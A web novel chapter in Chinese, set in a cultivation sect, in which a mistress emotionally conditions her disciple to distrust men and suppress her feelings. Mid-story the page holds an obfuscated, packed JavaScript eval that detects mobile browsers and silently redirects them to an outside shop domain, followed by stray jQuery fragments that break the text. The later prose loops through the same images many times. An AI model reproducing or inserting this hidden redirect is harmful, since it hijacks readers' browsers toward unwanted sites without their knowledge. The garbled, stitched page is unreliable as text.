叶孤鸿离开后的第三天傍晚，云绾柔被叫到了密室。
她走进去的时候，苏怜幽正坐在软榻上，手中端着一杯茶。杯沿的雾气正沿着她指间的缝隙缓缓升起，像一层正在缓慢散开的薄纱。她没有立刻开口，只是看着云绾柔在对面坐下，然后将茶杯轻轻放在桌面上，杯底触到木面时发出一声极轻的闷响。
“看到了吗？”她开口时，声音不高不低，像在陈述一件她已经确认过很多次的事。“这就是男人。得不到的时候，要死要活；得到了，就不会珍惜。你站在高处看着他的背影，等了三天三夜，可他最终没有为你跨过那道门槛。因为他知道，跨过那道门槛意味着什么。”
云绾柔低着头，没有说话。她的目光落在自己交握的手指上，落在那些在灯影下泛着微光的指节上，像在确认一件她正在缓慢放下的物件，还有没有重量，还能不能带她离开。
“他说愿意为你放弃一切，说得真好听。”苏怜幽的声音像一枚被轻轻放在桌面上的茶匙，边缘光滑而稳定。“可他真的愿意吗？如果他真的愿意，为什么不硬闯？以他的修为，闯进合欢宗的山门并不是不可能的事。可他没有。他不闯，是因为他不想闯。他不想为了你得罪合欢宗，不想为了你放弃他的丹道。他嘴上说着愿意为你放弃一切，可当他真的站在那扇门前时，他的手抬起来了，却没有真的推下去。说到底，他更爱他的丹房和他的名声。”
她放下茶杯，站起身，走到云绾柔面前。她的动作很慢，像一个人正沿着一条她早已熟悉的路线缓缓绕行，每一步都踩在她已经踩过无数次的痕迹上。她在云绾柔面前站定，像在确认一枚已经被放置了很久的棋子，是否还稳稳地卡在它该在的位置上。
“绾柔，你听好了——男人都是自私的。他们嘴里说爱你，心里想的永远是自己。他们说愿意为你付出，那是因为付出能让他们得到更多。一旦付出大于得到，他们就会毫不犹豫地抛弃你。那些站在山门外等你的背影，看着很长，可有几个会在天亮之后还站在原地？”
云绾柔低着头，沉默了很久。她感觉到苏怜幽的手落在她的下颌处，沿着她颧骨的弧线缓缓上滑，停在颧骨下方某处。那力道不重，却足以让她无法低下头去。“所以，不要对男人动真情。动真情，你就输了。不动真情，你永远赢。像下棋一样，你不出那一手，对方就永远猜不透你会走哪一步。他们会一直想着怎么绕过你，而不是绕着你自己去找别的路。”
云绾柔看着师尊的眼睛，那双眼中满是冰冷和算计，也满是她已经见过无数次的、笃定的光泽。她感觉自己像一枚正在被重新放回抽屉里的棋子，沿着那道她已经很熟悉的凹槽滑向它该在的位置。她的声音像一枚正在缓慢沉入深水的石子，还没触到底部就已经开始消散了：“我知道了，师尊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743284|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>苏怜幽松开手，退后一步，满意地点了点头。“回去吧。这几天好好休息，调整状态。”
云绾柔站起身，转身向门外走去。她推开门时，夜风从走廊尽头涌进来，拂过她微凉的脸颊，又沿着她的发梢缓缓流向更暗的地方。她走出几步，在那片暮色里停了一下，想回头——却不知道自己还能回头说什么。她只是站在那里，像一枚刚刚被重新放回抽屉里的棋子，正在沿着那道她已经很熟悉的凹槽，缓缓滑向她该在的位置。她已经学会用那种不带期待的语调回应那些话了。她不知道自己是否还能再感觉到任何正在向她靠近的温度。她只是站在暮色里，像一封被反复退回的信，封口依然完好，收件人的名字已经模糊得连她自己都看不清了。她闭上眼睛，像一枚已经停止了滚动的石子，正沿着那道她已经很熟悉的凹槽，缓缓滑向那个她已经不再试图改变的方向。夜色正在缓慢地合拢，而她已经不再想知道，那些正在她体内缓慢生长的东西，是否还能找到任何出口。她只是走着，一步又一步，不再低头看自己的步伐，也不再看风会把那些正在变轻的重量吹向哪里。她让那条路继续在她脚下延伸，像一条她早已忘记了起点的河流，在夜色中安静地流淌着，既不问方向，也不问尽头。夜风还在吹，从她身后涌来，绕过她的肩头，又朝更远的地方流去。她沿着那道已经被她走过无数次的走廊继续走着，没有加快，也没有放慢。